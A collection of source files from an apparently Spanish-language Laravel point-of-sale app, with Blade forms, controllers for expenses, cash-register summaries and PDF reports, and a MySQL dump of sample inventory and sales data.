<input type="text" name="monto" required value="{{old('monto')}}" class="form-control" placeholder="Monto de salida...">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="destino">Destino</label>
<input type="text" name="destino" required value="{{old('destino')}}" class="form-control" placeholder="Destino...">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="descripcion">Descripcion</label>
<input type="text" name="descripcion" required value="{{old('descripcion')}}" class="form-control" placeholder="Descripcion de la salida...">
</div>
</div>
<input type="hidden" name="estado" value="Activo">
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12">
<div class="form-group">
<button class="btn btn-primary" type="submit">Guardar</button>
<button class="btn btn-danger" type="reset">Cancelar</button>
</div>
</div>
</div>
{!!Form::close()!!}
@push ('scripts')
<script>
$('#liAlmacen').addClass("treeview active");
$('#liArticulos').addClass("active");
</script>
@endpush
@endsection<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="container">
<div class="row">
<div class="col-md-9 col-md-offset-1">
<div class="col-lg-10 col-md-10 col-sm-10 col-xs-12">
<h3>Link Rapidos</h3>
</div>
<div class="col-lg-3 col-xs-6">
<div class="box box-solid box-success">
<div class="box-header with-border">
<h3 class="box-title">Deposito</h3>
</div>
<div class="box-body">
<a href="{{url('almacen/articulo')}}"><i class="fa fa-suitcase fa-5x" aria-hidden="true"></i></a>
</div>
<div class="box-footer">
<a href="{{url('almacen/articulo/create')}}"> Cargar prendas <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="col-lg-3 col-xs-6">
<div class="box box-solid box-success">
<div class="box-header with-border">
<h3 class="box-title">Ventas</h3>
</div>
<div class="box-body">
<a href="{{url('ventas/venta/create')}}"><i class="fa fa-cart-plus fa-5x" aria-hidden="true"></i></a>
</div>
<div class="box-footer">
<a href="{{url('ventas/venta')}}"> Lista de Ventas <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="col-lg-3 col-xs-6">
<div class="box box-solid box-success">
<div class="box-header with-border">
<h3 class="box-title">Salidas</h3>
</div>
<div class="box-body">
<a href="{{url('salida/create')}}"><i class="fa fa-sign-out fa-5x" aria-hidden="true"></i></a>
</div>
<div class="box-footer">
<a href="{{url('salida')}}"> Lista de Salidas <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="col-lg-3 col-xs-6">
<div class="box box-solid box-success">
<div class="box-header with-border">
<h3 class="box-title">Cuentas Corrientes</h3>
</div>
<div class="box-body">
<a href="{{url('ventas/cliente/create')}}"><i class="fa fa-users fa-5x" aria-hidden="true"></i></a>
</div>
<div class="box-footer">
<a href="{{url('ventas/cliente')}}">Lista de Clientes <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="col-lg-3 col-xs-6">
<div class="box box-solid box-success">
<div class="box-header with-border">
<h3 class="box-title">Caja</h3>
</div>
<div class="box-body">
<a href="{{url('caja/resumen')}}"><i class="fa fa-money fa-5x" aria-hidden="true"></i></a>
</div>
<div class="box-footer">
<a href="{{url('caja/cierre')}}">Resumen de Caja <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
</div>
</div>
</div>
@endsection<file_sep><?php
namespace zitaraventas\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Foundation\Http\FormRequest;
use zitaraventas\Http\Requests;
use zitaraventas\Salida;
use Illuminate\Support\Facades\Redirect;
use DB;
use Response;
use Illuminate\Support\Collection;
use Fpdf;
class SalidaController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index(Request $request)
{
if($request)
{
$searchText =trim($request->get('searchText'));
$salidas =DB::table('salidas')
->where('created_at','LIKE','%'.$searchText.'%')
->get();
return view('salida.index', compact('salidas', 'searchText'));
}
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('salida.create');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$salida = Salida::create( $request->all() );
return Redirect::to('salida');
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$salida = Salida::findOrFail($id);
return view('salida.edit', compact('salida'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$salida = Salida::findOrFail($id)->update($request->all());
return Redirect::to('salida');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy(Request $request, $id)
{
$salida = Salida::findOrFail($id)->update($request->all());
return Redirect::to('salida');
}
public function reportec($id){
//Obtenemos los registros
$registros=DB::table('salidas')
->where('id','=',$id)
->get();
//Ponemos la hoja Horizontal (L)
$pdf = new Fpdf('L','mm','A4');
$pdf::AddPage();
$pdf::SetTextColor(35,56,113);
$pdf::SetFont('Arial','B',11);
$pdf::Cell(0,10,utf8_decode("Listado Salidas"),0,"","C");
$pdf::Ln();
$pdf::Ln();
$pdf::SetTextColor(0,0,0); // Establece el color del texto
$pdf::SetFillColor(206, 246, 245); // establece el color del fondo de la celda
$pdf::SetFont('Arial','B',10);
//El ancho de las columnas debe de sumar promedio 190
$pdf::cell(40,8,utf8_decode("Fecha"),1,"","L",true);
$pdf::cell(40,8,utf8_decode("Monto"),1,"","L",true);
$pdf::cell(45,8,utf8_decode("Destino"),1,"","L",true);
$pdf::cell(40,8,utf8_decode("Descripción"),1,"","L",true);
$pdf::Ln();
$pdf::SetTextColor(0,0,0); // Establece el color del texto
$pdf::SetFillColor(255, 255, 255); // establece el color del fondo de la celda
$pdf::SetFont("Arial","",9);
$total=0;
foreach ($registros as $reg)
{
$pdf::cell(40,8,substr($reg->created_at,0,10),1,"","L",true);
$pdf::cell(40,8,utf8_decode($reg->monto),1,"","L",true);
$pdf::cell(45,8,utf8_decode($reg->destino),1,"","L",true);
$pdf::cell(40,8,utf8_decode($reg->descripcion),1,"","L",true);
$pdf::Ln();
}
$pdf::Output();
exit;
}
}
<file_sep><?php
namespace zitaraventas;
use Illuminate\Database\Eloquent\Model;
class Caja extends Model
{
protected $fillable = ['monto_inicial','cuentas','cuotas','tarjetas','venta_efectivo','salidas','monto_final','estado'];
}
<file_sep><?php
namespace zitaraventas\Events;
abstract class Event
{
//
}
<file_sep><?php
namespace zitaraventas\Http\Controllers;
use Illuminate\Http\Request;
use zitaraventas\Http\Requests;
use zitaraventas\Caja;
use Illuminate\Support\Facades\Redirect;
use DB;
use Response;
use Illuminate\Support\Collection;
use Carbon\Carbon;
use Fpdf;
class ResumenCajaController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Http\Response
*/
public function resumen()
{
$fecha = date("Y-m-d");
$comprasmes=DB::select('SELECT monthname(i.fecha_hora) as mes, sum(di.cantidad*di.precio_compra) as totalmes from ingreso i inner join detalle_ingreso di on i.idingreso=di.idingreso where i.estado="A" group by monthname(i.fecha_hora) order by month(i.fecha_hora) desc limit 12');
$ventasmes=DB::select('SELECT monthname(v.fecha_hora) as mes, sum(v.total_venta) as totalmes from venta v where v.estado="cancelado" group by monthname(v.fecha_hora) order by month(v.fecha_hora) desc limit 12');
$ventasdia=DB::select('SELECT DATE(v.fecha_hora) as dia, sum(v.total_venta) as totaldia from venta v where v.estado="cancelado" group by v.fecha_hora order by day(v.fecha_hora) desc limit 15');
$productosvendidos=DB::select('SELECT a.nombre as articulo,sum(dv.cantidad) as cantidad from articulo a inner join detalle_venta dv on a.idarticulo=dv.idarticulo inner join venta v on dv.idventa=v.idventa where v.estado="cancelado" and year(v.fecha_hora)=year(("'.$fecha.'")) group by a.nombre order by sum(dv.cantidad) desc limit 10');
$totales=DB::select('SELECT (select ifnull(sum(di.cantidad*di.precio_compra),0) from ingreso i inner join detalle_ingreso di on i.idingreso=di.idingreso where DATE(i.fecha_hora)=("'.$fecha.'") and i.estado="A") as totalingreso, (select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Contado") as totalventa,(select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Tarjeta") as totaltarjeta,(select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="MP") as totalmp,(select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Cuenta") as totalsena,(select ifnull(sum(v.cuota),0) from venta v where DATE(v.fecha_cuota)=("'.$fecha.'")) as totalcuota, (select ifnull(sum(s.monto),0) from salidas s where DATE(s.created_at)=("'.$fecha.'")) as totalsalida');
$caja = Caja::where('estado','=','Cerrada')->get()->last();
return view('caja.resumen',compact('caja','comprasmes','ventasmes','ventasdia','productosvendidos','totales'));
}
public function index(Request $request)
{
if($request)
{
$searchText =trim($request->get('searchText'));
$cajas = DB::table('cajas')
->where('created_at','LIKE','%'.$searchText.'%')
->orderBy('id', 'desc')
->get();
// $caja = Caja::findOrFail($id);
return view('caja.index', compact('cajas', 'searchText'));
}
}
public function create()
{
// $caja = Caja::where('estado','=','Cerrada')->last();
// $totales=DB::select('SELECT (select ifnull(sum(di.cantidad*di.precio_compra),0) from ingreso i inner join detalle_ingreso di on i.idingreso=di.idingreso where DATE(i.fecha_hora)=("'.$fecha.'") and i.estado="A") as totalingreso, (select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Contado") as totalventa,(select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Tarjeta") as totaltarjeta,(select ifnull(sum(v.sena),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Cuenta") as totalsena,(select ifnull(sum(v.cuota),0) from venta v where DATE(v.fecha_cuota)=("'.$fecha.'")) as totalcuota, (select ifnull(sum(s.monto),0) from salidas s where DATE(s.created_at)=("'.$fecha.'")) as totalsalida');
return view('caja.create');
}
public function store(Request $request)
{
$caja = Caja::create( $request->all() );
return Redirect::to('caja/resumen');
}
public function edit($id)
{
$fecha = date("Y-m-d");
// dd($fecha);
$cajas = Caja::findOrFail($id);
$totales=DB::select('SELECT (select ifnull(sum(di.cantidad*di.precio_compra),0) from ingreso i inner join detalle_ingreso di on i.idingreso=di.idingreso where DATE(i.fecha_hora)=("'.$fecha.'") and i.estado="A") as totalingreso, (select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Contado") as totalventa,(select ifnull(sum(v.total_venta),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Tarjeta") as totaltarjeta,(select ifnull(sum(v.sena),0) from venta v where DATE(v.fecha_hora)=("'.$fecha.'") and v.tipo_comprobante="Cuenta") as totalsena,(select ifnull(sum(v.cuota),0) from venta v where DATE(v.fecha_cuota)=("'.$fecha.'")) as totalcuota, (select ifnull(sum(s.monto),0) from salidas s where DATE(s.created_at)=("'.$fecha.'")) as totalsalida');
return view('caja.edit', compact('totales','caja', 'cajas'));
}
public function update(Request $request, $id)
{
$Caja = Caja::findOrFail($id)->update($request->all());
return Redirect::to('caja/cierre');
}
public function reportec($id){
//Obtenemos los registros
$registros=DB::table('cajas')
->where('id','=',$id)
->get();
//Ponemos la hoja Horizontal (L)
$pdf = new Fpdf('L','mm','A4');
$pdf::AddPage();
$pdf::SetTextColor(35,56,113);
$pdf::SetFont('Arial','B',11);
$pdf::Cell(0,10,utf8_decode("Listado Cajas"),0,"","C");
$pdf::Ln();
$pdf::Ln();
$pdf::SetTextColor(0,0,0); // Establece el color del texto
$pdf::SetFillColor(206, 246, 245); // establece el color del fondo de la celda
$pdf::SetFont('Arial','B',10);
//El ancho de las columnas debe de sumar promedio 190
$pdf::cell(20,8,utf8_decode("Fecha"),1,"","L",true);
$pdf::cell(20,8,utf8_decode("Inicial"),1,"","L",true);
$pdf::cell(25,8,utf8_decode("Cuentas"),1,"","L",true);
$pdf::cell(20,8,utf8_decode("Cuotas"),1,"","L",true);
$pdf::cell(20,8,utf8_decode("Tarjetas"),1,"","L",true);
$pdf::cell(25,8,utf8_decode("V.Efectivo"),1,"","R",true);
$pdf::cell(25,8,utf8_decode("Salidas"),1,"","R",true);
$pdf::cell(25,8,utf8_decode("Cierre"),1,"","R",true);
$pdf::Ln();
$pdf::SetTextColor(0,0,0); // Establece el color del texto
$pdf::SetFillColor(255, 255, 255); // establece el color del fondo de la celda
$pdf::SetFont("Arial","",9);
$total=0;
foreach ($registros as $reg)
{
$pdf::cell(20,8,substr($reg->created_at,0,10),1,"","L",true);
$pdf::cell(20,8,utf8_decode($reg->monto_inicial),1,"","L",true);
$pdf::cell(25,8,utf8_decode($reg->cuentas),1,"","L",true);
$pdf::cell(20,8,utf8_decode($reg->cuotas),1,"","L",true);
$pdf::cell(20,8,utf8_decode($reg->tarjetas),1,"","L",true);
$pdf::cell(25,8,utf8_decode($reg->venta_efectivo),1,"","L",true);
$pdf::cell(25,8,utf8_decode($reg->salidas),1,"","L",true);
$pdf::cell(25,8,utf8_decode($reg->monto_final),1,"","L",true);
$pdf::Ln();
}
$pdf::Output();
exit;
}
}
<file_sep>@extends('layouts.admin')
@section('contenido')
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<h3>Generar Reportes de estado de cuenta</h3>
@if (count($errors)>0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{$error}}</li>
@endforeach
</ul>
</div>
@endif
</div>
</div>
{!! Form::open(array('url'=>'estado','method'=>'GET','autocomplete'=>'off','role'=>'search')) !!}
<div class="row">
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="cliente">Cliente</label>
<select name="cliente" id="idcliente" class="form-control selectpicker" data-live-search="true">
@foreach ($personas as $persona)
<option value="{{$persona->idpersona}}">{{$persona->nombre}}</option>
@endforeach
</select>
</div>
</div>
<div class="col-lg-4 col-sm-4 col-md-4 col-xs-12">
<div class="form-group">
<label for="credito">Credito</label>
<input type="text" class="form-control" name="venta" value="0">
</div>
</div>
{{-- <div class="col-lg-4 col-sm-4 col-md-4 col-xs-12">
<div class="form-group">
<label for="fecha">Fecha</label>
<input type="date" class="form-control" name="fecha" value="{{$fecha}}">
</div>
</div> --}}
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<span class="input-group-btn">
<button type="submit" class="btn btn-primary form-control">Buscar</button>
</span>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="table-responsive">
<table class="table table-striped table-bordered table-condensed table-hover">
<thead>
<th>Nº de pago</th>
<th>Cliente</th>
<th>Nº de Credito</th>
<th>Fecha pago</th>
<th>Cuota</th>
<th>Saldo</th>
</thead>
@foreach ($pagos as $pag)
<tr>
<td>{{ $pag->id}}</td>
<td>{{ $pag->nombre}}</td>
<td>{{ $pag->idventa}}</td>
<td>{{ Carbon\Carbon::parse($pag->created_at)->format('d-m-Y')}}</td>
<td>{{ $pag->cuota}}</td>
<td>{{ $pag->saldo}}</td>
</tr>
@endforeach
</table>
</div>
</div>
</div>
{{Form::close()}}
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<a href="{{url('reportecuentas',[$cliente,$venta])}}" target="_blank"><button title="Reporte" class="btn btn-warning"><i class="fa fa-print" aria-hidden="true"></i></button></a>
</div>
</div>
@endsection<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<h3>Editar Salida: {{ Carbon\Carbon::parse($salida->created_at)->format('d-m-Y') }}</h3>
@if (count($errors)>0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{$error}}</li>
@endforeach
</ul>
</div>
@endif
</div>
</div>
{!!Form::model($salida,['method'=>'PATCH','route'=>['salida.update',$salida->id]])!!}
{{Form::token()}}
<div class="row">
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="monto">Monto</label>
<input type="text" name="monto" required value="{{$salida->monto}}" class="form-control">
</div>
<div class="form-group">
<label for="destino">Destino</label>
<input type="text" name="destino" required value="{{$salida->destino}}" class="form-control">
</div>
<div class="form-group">
<label for="descripcion">Descripcion</label>
<input type="text" name="descripcion" required value="{{$salida->descripcion}}" class="form-control">
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12">
<div class="form-group">
<button class="btn btn-primary" type="submit">Guardar</button>
<button class="btn btn-danger" type="reset">Cancelar</button>
</div>
</div>
</div>
{!!Form::close()!!}
@push ('scripts')
<script>
$('#liAlmacen').addClass("treeview active");
$('#liArticulos').addClass("active");
</script>
@endpush
@endsection<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<h3>Cargar Cuota</h3>
@if (count($errors)>0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{$error}}</li>
@endforeach
</ul>
</div>
@endif
</div>
</div>
{!!Form::model($venta,['method'=>'PATCH','route'=>['ventas.venta.update',$venta->idventa]])!!}
{{Form::token()}}
<div class="row">
<div class="panel panel-primary">
<div class="panel-body">
<div class="col-lg-6 col-sm-6 col-md-6 col-xs-12">
<div class="form-group">
<div class="form-group">
<label for="proveedor">Cliente</label>
<p>{{$venta->nombre}}</p><input type="hidden" name="idcliente" value="{{$venta->idpersona}}">
</div>
</div>
</div>
<div class="col-lg-6 col-sm-6 col-md-6 col-xs-12">
<div class="form-group">
<div class="form-group">
<label for="venta">N° de Venta</label>
<input type="text" class="form-control" name="idventa" value="{{$venta->idventa}}">
</div>
</div>
</div>
<div class="col-lg-7 col-sm-7 col-md-7 col-xs-12">
<div class="form-group has-feedback">
<label>Total</label>
<input type="text" class="form-control" id="total_venta" name="total_venta" value="{{$venta->total_venta}}" disabled>
</div>
<div class="form-group has-feedback">
<label>Pagos</label>
<input class="form-control" id="sena" name="sena" value="{{$venta->sena}}" readonly="readonly" >
</div>
<div class="form-group has-feedback">
<label>Saldo</label>
<input type="text" class="form-control" id="saldo" name="saldo" value="{{$venta->saldo}}" readonly="readonly">
</div>
<div class="form-group has-feedback">
<label>Cuota</label>
<input type="text" class="form-control" id="cuota" name="cuota" value="">
</div>
</div>
</div>
</div>
</div>
<input type="hidden" name="estado" id="estado">
<button type="button" id="calcular" class="btn btn-default" >Actualizar saldo</button>
<button type="submit" id="save" class="btn btn-primary">Guardar</button>
{{Form::Close()}}
@push ('scripts')
<script>
$(document).ready(function(){
$('#calcular').click(function(){
suma();
});
});
var resultado=0;
var suma = function(){
var numero1 = parseInt(document.getElementById("sena").value);
var numero2 = parseInt(document.getElementById("cuota").value);
var resultado = numero1 + numero2;
$("#sena").val(resultado.toFixed(2));
//$("#nuevasena").val(0);
var numero3 = parseInt(document.getElementById("total_venta").value);
var numero4 = parseInt(document.getElementById("sena").value);
var resultado2 = numero3 - numero4;
$("#saldo").val(resultado2.toFixed(2));
if (resultado2 === 0.00)
{
$("#estado").val("cancelado");
}
else
{
$("#estado").val("debe");
}
}
$('#liVentas').addClass("treeview active");
$('#liVentass').addClass("active");
</script>
@endpush
@endsection<file_sep>DROP TABLE IF EXISTS articulo;
CREATE TABLE `articulo` (
`idarticulo` int(11) NOT NULL AUTO_INCREMENT,
`idcategoria` int(11) NOT NULL,
`codigo` varchar(50) COLLATE utf8_spanish2_ci DEFAULT NULL,
`nombre` varchar(100) COLLATE utf8_spanish2_ci NOT NULL,
`stock` int(11) NOT NULL,
`descripcion` varchar(512) COLLATE utf8_spanish2_ci DEFAULT NULL,
`imagen` varchar(50) COLLATE utf8_spanish2_ci DEFAULT NULL,
`estado` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
PRIMARY KEY (`idarticulo`),
KEY `fk_articulo_categoria_idx` (`idcategoria`),
CONSTRAINT `fk_articulo_categoria` FOREIGN KEY (`idcategoria`) REFERENCES `categoria` (`idcategoria`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO articulo VALUES("1","1","7701234000011","Impresora Epson Lx200","11","","impresora.jpg","Activo");
INSERT INTO articulo VALUES("2","1","7702004003508","Impresora Epson M300","1","","Impresora Epson.jpeg","Activo");
INSERT INTO articulo VALUES("4","3","5901234123457","Cable UTP Cat-5","20","","descarga.jpg","Activo");
INSERT INTO articulo VALUES("5","3","8412345678905","Cable VGA 2Mt","104","","images.jpg","Activo");
INSERT INTO articulo VALUES("6","7","17839893093","Remera","10","remera mangas corta gucci, con lunares talle s","","Inactivo");
INSERT INTO articulo VALUES("7","7","489393992","Conjunto deportivo","16","Conjunto deportivo adidas river plate talle xl","cancha.jpg","Activo");
DROP TABLE IF EXISTS categoria;
CREATE TABLE `categoria` (
`idcategoria` int(11) NOT NULL AUTO_INCREMENT,
`nombre` varchar(50) COLLATE utf8_spanish2_ci NOT NULL,
`descripcion` varchar(256) COLLATE utf8_spanish2_ci DEFAULT NULL,
`condicion` tinyint(1) NOT NULL,
PRIMARY KEY (`idcategoria`)
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO categoria VALUES("1","Equipos Cómputo","Accesorios de cómputo","1");
INSERT INTO categoria VALUES("2","Útiles","Útiles","1");
INSERT INTO categoria VALUES("3","Limpieza","Artículos de limpieza","0");
INSERT INTO categoria VALUES("4","Medicina","Artículos medicinales","1");
INSERT INTO categoria VALUES("5","Líquidos","Líquidos","1");
INSERT INTO categoria VALUES("6","Comida","productos de comida","1");
INSERT INTO categoria VALUES("7","Vestimenta","Artículos de vestimenta","1");
INSERT INTO categoria VALUES("8","Servicios","Servicios","1");
INSERT INTO categoria VALUES("9","Cables","Todo tipo de cables","1");
INSERT INTO categoria VALUES("10","Accesorios de Sonido 2","Todos los accesorios de sonido 2","0");
INSERT INTO categoria VALUES("11","fgj1","fjghf2","0");
INSERT INTO categoria VALUES("12","hjkhk2","khykuyh","0");
INSERT INTO categoria VALUES("13","qqqqqq","wwww","0");
DROP TABLE IF EXISTS detalle_ingreso;
CREATE TABLE `detalle_ingreso` (
`iddetalle_ingreso` int(11) NOT NULL AUTO_INCREMENT,
`idingreso` int(11) NOT NULL,
`idarticulo` int(11) NOT NULL,
`cantidad` int(11) NOT NULL,
`precio_compra` decimal(11,2) NOT NULL,
`precio_venta` decimal(11,2) NOT NULL,
PRIMARY KEY (`iddetalle_ingreso`),
KEY `fk_detalle_ingreso_idx` (`idingreso`),
KEY `fk_detalle_ingreso_articulo_idx` (`idarticulo`),
CONSTRAINT `fk_detalle_ingreso` FOREIGN KEY (`idingreso`) REFERENCES `ingreso` (`idingreso`) ON DELETE NO ACTION ON UPDATE NO ACTION,
CONSTRAINT `fk_detalle_ingreso_articulo` FOREIGN KEY (`idarticulo`) REFERENCES `articulo` (`idarticulo`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=36 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO detalle_ingreso VALUES("18","13","1","10","500.00","600.00");
INSERT INTO detalle_ingreso VALUES("19","13","4","100","1.00","2.00");
INSERT INTO detalle_ingreso VALUES("20","13","5","50","10.00","15.00");
INSERT INTO detalle_ingreso VALUES("21","14","1","1","10.00","15.00");
INSERT INTO detalle_ingreso VALUES("22","15","1","1","10.00","15.00");
INSERT INTO detalle_ingreso VALUES("23","16","1","1","10.00","15.00");
INSERT INTO detalle_ingreso VALUES("24","17","2","10","150.00","200.00");
INSERT INTO detalle_ingreso VALUES("25","18","5","10","10.00","20.00");
INSERT INTO detalle_ingreso VALUES("26","19","2","12","100.00","200.00");
INSERT INTO detalle_ingreso VALUES("27","19","1","10","200.00","400.00");
INSERT INTO detalle_ingreso VALUES("30","21","2","10","100.00","200.00");
INSERT INTO detalle_ingreso VALUES("31","21","1","10","200.00","400.00");
INSERT INTO detalle_ingreso VALUES("32","22","7","10","1000.00","2000.00");
INSERT INTO detalle_ingreso VALUES("33","22","1","10","400.00","700.00");
INSERT INTO detalle_ingreso VALUES("34","23","7","10","1500.00","2500.00");
INSERT INTO detalle_ingreso VALUES("35","24","5","100","200.00","600.00");
DROP TABLE IF EXISTS detalle_venta;
CREATE TABLE `detalle_venta` (
`iddetalle_venta` int(11) NOT NULL AUTO_INCREMENT,
`idventa` int(11) NOT NULL,
`idarticulo` int(11) NOT NULL,
`cantidad` int(11) NOT NULL,
`precio_venta` decimal(11,2) NOT NULL,
`descuento` decimal(11,2) NOT NULL,
PRIMARY KEY (`iddetalle_venta`),
KEY `fk_detalle_venta_articulo_idx` (`idarticulo`),
KEY `fk_detalle_venta_idx` (`idventa`),
CONSTRAINT `fk_detalle_venta` FOREIGN KEY (`idventa`) REFERENCES `venta` (`idventa`) ON DELETE NO ACTION ON UPDATE NO ACTION,
CONSTRAINT `fk_detalle_venta_articulo` FOREIGN KEY (`idarticulo`) REFERENCES `articulo` (`idarticulo`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=111 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO detalle_venta VALUES("1","1","1","10","15.00","0.00");
INSERT INTO detalle_venta VALUES("2","4","2","1","303.60","0.00");
INSERT INTO detalle_venta VALUES("3","5","4","1","6.60","0.00");
INSERT INTO detalle_venta VALUES("4","6","1","1","52.60","0.60");
INSERT INTO detalle_venta VALUES("5","6","2","1","303.60","0.30");
INSERT INTO detalle_venta VALUES("6","7","5","1","25.00","0.00");
INSERT INTO detalle_venta VALUES("7","8","4","37","6.60","0.00");
INSERT INTO detalle_venta VALUES("8","8","5","18","25.00","0.00");
INSERT INTO detalle_venta VALUES("9","8","2","45","303.60","0.00");
INSERT INTO detalle_venta VALUES("10","8","1","41","52.60","0.00");
INSERT INTO detalle_venta VALUES("11","9","5","1","25.00","0.00");
INSERT INTO detalle_venta VALUES("12","9","4","1","6.60","0.00");
INSERT INTO detalle_venta VALUES("13","10","5","2","15.00","0.00");
INSERT INTO detalle_venta VALUES("14","10","1","1","600.00","50.00");
INSERT INTO detalle_venta VALUES("15","11","5","1","15.00","0.00");
INSERT INTO detalle_venta VALUES("16","12","5","1","15.00","0.00");
INSERT INTO detalle_venta VALUES("17","13","5","2","15.00","0.00");
INSERT INTO detalle_venta VALUES("18","13","4","5","2.00","0.00");
INSERT INTO detalle_venta VALUES("19","14","1","1","161.25","0.00");
INSERT INTO detalle_venta VALUES("20","15","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("21","16","5","1","15.00","0.00");
INSERT INTO detalle_venta VALUES("22","17","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("23","18","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("24","19","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("25","20","1","2","600.00","0.00");
INSERT INTO detalle_venta VALUES("26","21","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("27","22","2","3","200.00","0.00");
INSERT INTO detalle_venta VALUES("28","23","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("29","23","5","1","15.00","0.00");
INSERT INTO detalle_venta VALUES("30","24","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("31","25","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("32","26","1","2","600.00","0.00");
INSERT INTO detalle_venta VALUES("33","27","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("34","27","5","20","15.00","0.00");
INSERT INTO detalle_venta VALUES("35","28","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("36","28","1","2","600.00","0.00");
INSERT INTO detalle_venta VALUES("37","29","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("38","29","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("39","30","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("40","31","2","2","200.00","0.00");
INSERT INTO detalle_venta VALUES("41","32","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("42","33","5","5","15.00","0.00");
INSERT INTO detalle_venta VALUES("43","33","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("44","34","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("45","35","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("46","35","5","5","15.00","0.00");
INSERT INTO detalle_venta VALUES("47","35","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("48","36","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("49","37","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("50","37","4","10","2.00","0.00");
INSERT INTO detalle_venta VALUES("51","38","4","12","2.00","0.00");
INSERT INTO detalle_venta VALUES("52","38","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("53","39","5","2","15.00","0.00");
INSERT INTO detalle_venta VALUES("54","39","4","30","2.00","0.00");
INSERT INTO detalle_venta VALUES("55","39","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("56","40","7","1","1000.00","0.00");
